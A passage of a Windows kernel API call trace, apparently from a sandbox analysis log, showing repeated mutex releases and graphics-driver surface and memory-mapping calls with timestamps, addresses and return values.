ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.773] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.779] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.806] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.806] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.807] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.807] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.807] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.824] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.875] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.875] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.906] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.918] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.943] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.995] IoGetCurrentProcess () returned 0xffffe000011ff900 [0103.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.996] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.006] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.008] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.008] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.016] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.079] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.081] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.135] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.135] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.137] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.148] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.151] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.151] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.151] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.153] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.153] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.155] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.155] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.162] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.164] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.164] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.166] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.166] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.166] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.167] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.167] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.176] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.180] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.180] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.190] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.192] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.194] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.196] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.198] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.198] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.200] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.200] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.200] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.201] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.202] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.211] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.211] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.230] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.246] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.269] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.329] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.329] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.330] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.330] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.341] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.351] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.360] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.373] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.373] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.382] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.392] IoGetCurrentProcess () returned 0xffffe000011ff900 [0104.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.392] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.406] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.406] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0106.419] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.420] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.420] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.429] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.438] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.449] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.463] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.463] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.473] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.480] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.480] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.487] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.501] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.501] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.514] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.522] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.522] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.530] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.544] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.544] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.552] IoGetCurrentProcess () returned 0xffffe000011ff900 [0106.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.552] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.917] IoGetCurrentProcess () returned 0xffffe000011ff900 [0116.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0116.917] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.245] IoGetCurrentProcess () returned 0xffffe000011ff900 [0118.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0118.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.314] IoGetCurrentProcess () returned 0xffffe000011ff900 [0119.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0119.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.732] IoGetCurrentProcess () returned 0xffffe000011ff900 [0120.732] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0120.732] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.831] IoGetCurrentProcess () returned 0xffffe000011ff900 [0121.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0121.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.293] IoGetCurrentProcess () returned 0xffffe000011ff900 [0123.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0123.293] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.560] IoGetCurrentProcess () returned 0xffffe000011ff900 [0124.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0124.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0126.042] IoGetCurrentProcess () returned 0xffffe000011ff900 [0126.042] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0126.042] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0127.244] IoGetCurrentProcess () returned 0xffffe000011ff900 [0127.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0127.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0128.695] IoGetCurrentProcess () returned 0xffffe000011ff900 [0128.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0128.695] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0129.862] IoGetCurrentProcess () returned 0xffffe000011ff900 [0129.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0129.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0131.268] IoGetCurrentProcess () returned 0xffffe000011ff900 [0131.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0131.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0132.489] IoGetCurrentProcess () returned 0xffffe000011ff900 [0132.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0132.489] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.086] IoGetCurrentProcess () returned 0xffffe000011ff900 [0134.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0134.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.040] IoGetCurrentProcess () returned 0xffffe000011ff900 [0136.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0136.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.521] IoGetCurrentProcess () returned 0xffffe000011ff900 [0137.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0137.521] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0138.788] IoGetCurrentProcess () returned 0xffffe000011ff900 [0138.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0138.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0140.260] IoGetCurrentProcess () returned 0xffffe000011ff900 [0140.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0140.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0141.371] IoGetCurrentProcess () returned 0xffffe000011ff900 [0141.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0141.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.879] IoGetCurrentProcess () returned 0xffffe000011ff900 [0142.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0142.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.041] IoGetCurrentProcess () returned 0xffffe000011ff900 [0144.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0144.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0145.462] IoGetCurrentProcess () returned 0xffffe000011ff900 [0145.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0145.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0146.520] IoGetCurrentProcess () returned 0xffffe000011ff900 [0146.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0146.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0147.943] IoGetCurrentProcess () returned 0xffffe000011ff900 [0147.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0147.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.185] IoGetCurrentProcess () returned 0xffffe000011ff900 [0149.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0149.185] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.602] IoGetCurrentProcess () returned 0xffffe000011ff900 [0150.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0150.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.778] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.778] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0151.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.203] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0153.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.310] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0154.310] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.926] IoGetCurrentProcess () returned 0xffffe000011ff900 [0155.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0155.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) Thread: id = 426 os_tid = 0x470 Thread: id = 427 os_tid = 0x474 Thread: id = 428 os_tid = 0x478 Thread: id = 429 os_tid = 0x47c [0082.696] EngAllocMem () returned 0xfffff9014240f2b0 [0082.696] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.696] MmMapViewOfSection (in: SectionObject=0xffffc00001582cd0, Process=0xffffe000011ff900, BaseAddress=0xfffff9014240f5d8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021db2880, ViewSize=0xfffff9014240f5f0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014240f5d8*=0x44f0000, SectionOffset=0xffffd00021db2880, ViewSize=0xfffff9014240f5f0) returned 0x0 [0082.696] EngCreateBitmap () returned 0x7050632 [0082.696] EngAssociateSurface () returned 0x1 [0082.696] EngLockSurface () returned 0xfffff901424132c8 [0082.696] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001254260 [0082.696] KeInitializeEvent (in: Event=0xffffe00001254278, Type=0x1, State=0 | out: Event=0xffffe00001254278) [0082.735] EngAllocMem () returned 0xfffff901424172b0 [0082.735] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.735] MmMapViewOfSection (in: SectionObject=0xffffc000015b1570, Process=0xffffe000011ff900, BaseAddress=0xfffff901424175d8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021d06ed0, ViewSize=0xfffff901424175f0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff901424175d8*=0x4610000, SectionOffset=0xffffd00021d06ed0, ViewSize=0xfffff901424175f0) returned 0x0 [0082.735] EngCreateBitmap () returned 0x6050638 [0082.735] EngAssociateSurface () returned 0x1 [0082.735] EngLockSurface () returned 0xfffff901400ca028 [0082.735] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000126bf30 [0082.735] KeInitializeEvent (in: Event=0xffffe0000126bf48, Type=0x1, State=0 | out: Event=0xffffe0000126bf48) [0082.745] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.746] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0082.746] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.747] IoGetCurrentProcess () returned 0xffffe000011ff900 [0082.748] 